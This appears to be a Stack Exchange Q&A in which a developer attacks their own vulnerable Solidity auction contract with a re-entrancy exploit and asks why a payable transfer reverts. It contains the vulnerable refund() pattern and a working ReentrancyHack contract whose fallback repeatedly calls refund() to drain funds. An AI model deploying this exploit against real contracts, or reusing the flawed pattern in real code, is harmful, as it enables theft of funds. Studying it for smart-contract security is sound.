The constructor should be payable if you send value - contract sending ether to another contract throwing an error?

Question

I'm trying to implement re-entrancy hack for my own contract.

Here is a great article that explains the method: https://medium.com/@gus_tavo_guim/reentrancy-attack-on-smart-contracts-how-to-identify-the-exploitable-and-an-example-of-an-attack-4470a2d8dfe4

I do not really understand why this is failing?

function sendSomeEthFirst() public payable { address(auction).transfer(msg.value); }

transact to ReentrancyHack.sendSomeEthFirst errored: VM error: revert. revert The transaction has been reverted to the initial state. Note: The constructor should be payable if you send value. Debug the transaction to get more information.

Short video illustrating the issue: https://youtu.be/F9mGfWLPdEA

// VULNERABLE, DO NOT USE
pragma solidity ^0.4.23;

contract Auction {

  string public description;
  string public instructions; // will be used for delivery address or email
  uint public price;
  bool public initialPrice = true; // at first asking price is OK, then +25% required
  uint public timestampEnd;
  address public beneficiary;
  bool public finalized = false;

  address public owner;
  address public winner;
  mapping(address => uint) public bids;
  address[] public accountsList; // so we can iterate: https://ethereum.stackexchange.com/questions/13167/are-there-well-solved-and-simple-storage-patterns-for-solidity

  // THINK: should be (an optional) constructor parameter?
  // For now if you want to change - simply modify the code
  uint public increaseTimeIfBidBeforeEnd = 24 * 60 * 60; // Naming things: https://www.instagram.com/p/BSa_O5zjh8X/
  uint public increaseTimeBy = 24 * 60 * 60;


  event Bid(address indexed winner, uint indexed price, uint indexed timestamp);
  event Refund(address indexed sender, uint indexed amount, uint indexed timestamp);

  modifier onlyOwner { require(owner == msg.sender, "only owner"); _; }
  modifier onlyWinner { require(winner == msg.sender, "only winner"); _; }
  modifier ended { require(now > timestampEnd, "not ended yet"); _; }

  function setDescription(string _description) public onlyOwner() {
    description = _description;
  }

  function setInstructions(string _instructions) public ended() onlyWinner()  {
    instructions = _instructions;
  }

  constructor(uint _price, string _description, uint _timestampEnd, address _beneficiary) public payable {
    require(_timestampEnd > now, "end of the auction must be in the future");
    owner = msg.sender;
    price = _price;
    description = _description;
    timestampEnd = _timestampEnd;
    beneficiary = _beneficiary;
  }

  function() public payable {

    if (msg.value == 0) { // when sending `0` it acts as if it was `withdraw`
      refund();
      return;
    }

    require(now < timestampEnd, "auction has ended"); // sending ether only allowed before the end

    if (bids[msg.sender] > 0) { // First we add the bid to an existing bid
      bids[msg.sender] += msg.value;
    } else {
      bids[msg.sender] = msg.value;
      accountsList.push(msg.sender); // this is out first bid, therefore adding 
    }

    if (initialPrice) {
      require(bids[msg.sender] >= price, "big too low, minimum is the initial price");
    } else {
      require(bids[msg.sender] >= (price * 5 / 4), "big too low, minimum 25% increment");
    }

    if (now > timestampEnd - increaseTimeIfBidBeforeEnd) {
      timestampEnd = now + increaseTimeBy;
    }

    initialPrice = false;
    price = bids[msg.sender];
    winner = msg.sender;
    emit Bid(winner, price, now);
  }

  function finalize() public ended() onlyOwner() {
    require(finalized == false, "can withdraw only once");
    require(initialPrice == false, "can withdraw only if there were bids");

    finalized = true; // THINK: DAO hack reentrancy - does it matter which order? (just in case setting it first)
    beneficiary.transfer(price);

    bids[winner] = 0; // setting it to zero that in the refund loop it is skipped
    for (uint i = 0; i < accountsList.length;  i++) {
      if (bids[accountsList[i]] > 0) {
        accountsList[i].transfer( bids[accountsList[i]] ); // send? transfer? tell me baby: https://ethereum.stackexchange.com/a/38642/2524
        bids[accountsList[i]] = 0; // in case someone calls `refund` again
      }
    }     
  }

  function refund() public {
    require(msg.sender != winner, "winner cannot refund");

    msg.sender.transfer( bids[msg.sender] );
    emit Refund(msg.sender, bids[msg.sender], now);
    bids[msg.sender] = 0;
  }

}

contract ReentrancyHack {
  Auction public auction;
  address public owner;

  constructor (address _auction) public payable {
    auction = Auction(_auction);
    owner = msg.sender;
  }

  modifier onlyOwner { require(owner == msg.sender, "only owner"); _; }

  function moveFundsToTheBase() public onlyOwner() {
      owner.transfer(address(this).balance);
  }

  event EmitNumber(uint balance);

  function sendSomeEthFirst() public payable {
      address(auction).transfer(msg.value);
  }

  function checkBalance(address who) view public returns(uint) {
    uint howMuch = auction.bids(who);
    return howMuch;
  }

  function hackDadShit() public {
    auction.refund();
  }

  function() public payable {
    if (address(auction).balance > 0.1 ether) {
      auction.refund();
    }
  }
}

---

Here is a very similar question: "The constructor should be payable if you send value. Debug the transaction to get more information. " error

Answer 1

Because I was following Medium article I was able to look into the code:

• https://github.com/gustavoguimaraes/honeyPotReentranceAttack/blob/master/contracts/HoneyPot.sol
• https://github.com/gustavoguimaraes/honeyPotReentranceAttack/blob/master/contracts/HoneyPotCollect.sol

I did some refactoring:

  function() public payable {
      pay();
  }

  function pay() public payable {
      ...
  }

And then I can call it the following way:

  function sendSomeEthFirst() public payable {
     auction.pay.value(msg.value)();
  }

I still don't understand why it was failing:

 function sendSomeEthFirst() public payable {
      address(auction).transfer(msg.value);
  }

Is it because of this?

If the fallback function requires more than 2300 gas, the contract cannot receive Ether.